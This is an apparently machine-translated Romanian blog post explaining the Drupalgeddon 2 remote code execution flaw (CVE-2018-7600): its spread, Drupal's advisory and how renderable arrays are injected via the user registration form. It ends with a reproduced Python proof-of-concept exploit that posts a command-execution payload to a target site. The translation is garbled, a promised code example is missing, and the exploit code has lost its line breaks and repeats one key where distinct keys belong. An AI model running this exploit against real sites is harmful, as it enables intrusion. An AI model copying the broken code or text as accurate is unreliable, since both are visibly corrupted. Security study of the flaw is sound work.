Drupalgeddon 2 RCE-SecPod Blog

mai mult de un milion de site-uri web active folosesc Drupal, făcându-l al doilea cel mai utilizat sistem de gestionare a conținutului la nivel mondial după WordPress. Pe 28 Martie 2018, Drupal a lansat patch-uri de securitate pentru versiunile 6-8, sugerând actualizarea imediată și marcând vulnerabilitatea de bază (CVE-2018-7600) ca fiind critică cu executarea codului la distanță. Scanarea și atacurile asupra site-urilor web care utilizează Drupal au crescut exponențial așa cum era de așteptat, dar nu au existat rapoarte despre vulnerabilitatea exploatată în sălbăticie. Apoi, cu câteva zile în urmă, un cercetător rus de securitate a publicat un cod de exploatare proof-of-concept (POC) pe GitHub, iar Internetul a devenit berserk.

exploatarea s-a acumulat și atacatorii au început să o folosească pentru a instala mineri de criptomonede și backdoor-uri malware. Se crede că este implicată una dintre campaniile Monero miner care au livrat XMRig în timp ce exploatează vulnerabilitatea (CVE-2017-10271) în serverele Oracle WebLogic.

conform statisticilor, 90% din atacurile Drupalgeddon 2 nu sunt altceva decât scanări pentru a găsi sisteme vulnerabile, 3% sunt încercări de infecție din spate și 2% încearcă să ruleze mineri cripto.

Drupal în avizul său a avertizat că „site-urile care nu sunt patch-uri până miercuri, 2018-04-11 pot fi compromise” și „pur și simplu actualizarea Drupal nu va elimina ușile din spate sau nu va remedia site-urile compromise. Dacă descoperiți că site-ul dvs. este deja patch-uri, dar nu ați făcut-o, acesta poate fi un simptom că site-ul a fost compromis. Unele atacuri din trecut au aplicat patch-ul ca o modalitate de a garanta că numai acel atacator controlează site-ul.”

jargonul tehnic

Drupal și-a introdus API-ul Form în Drupal 6 care a permis modificarea datelor form în timpul procesului de redare a formularului. Acest lucru a revoluționat modul în care a funcționat procesarea marcajului. În Drupal 7 forma API a fost generalizată la ceea ce este acum cunoscut sub numele de „matrice Randabile”. Acest API extins este utilizat pentru a reprezenta structura majorității elementelor UI din Drupal, cum ar fi pagini, blocuri, noduri și multe altele. Matricele randabile conțin metadate care sunt utilizate în procesul de randare. Aceste matrice randabile sunt o structură cheie-valoare în care cheile de proprietate încep cu un semn hash (#). Un exemplu:

Drupal a lansat un patch adăugând doar o singură clasă RequestSanitizer cu o metodă stripDangerousValues care dezactivează toate elementele dintr-o matrice de intrare pentru tastele care încep cu un semn hash. Această metodă dezinfectează datele de intrare în $_GET, $_POST & $_COOKIES în primele etape ale bootstrap-ului Drupal (imediat după încărcarea configurațiilor site-ului). Se poate presupune că motivul pentru care patch-ul a fost lansat este de a face o vulnerabilitate existentă mai greu de găsit.

vulnerabilitatea a fost găsită în formulare. Formularul de înregistrare a utilizatorului care nu necesită autentificare și poate fi accesat anonim conține mai multe câmpuri de intrare și poate fi exploatat.

sursa imaginii: punct de control, Dofinity

era foarte probabil ca injectarea unei matrice randabile să exploateze vulnerabilitatea, întrebarea era unde?

după cum se dovedește, câmpul „Adresa de e-mail” nu igienizează tipul de intrare pe care îl primește, ceea ce ne-a permis să injectăm matricea randabilă în structura matricei de formular.

sursa imaginii : punct de control, Dofinity

acum, tot ce aveam nevoie era ca Drupal să redea matricea noastră injectată. Deoarece Drupal tratează matricea noastră injectată ca o valoare și nu ca un element, trebuia să-l păcălim pe Drupal să-l redea. Drupal face o matrice pe eveniment de încărcare pagină sau prin intermediul Drupal AJAX API.

câmpul „imagine” al formularului de înregistrare a utilizatorului folosește API-ul AJAX al Drupal pentru a încărca o imagine și a o înlocui cu o miniatură a imaginii încărcate.

dovada conceptului (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Lasă un răspuns

Adresa ta de email nu va fi publicată.

Related Posts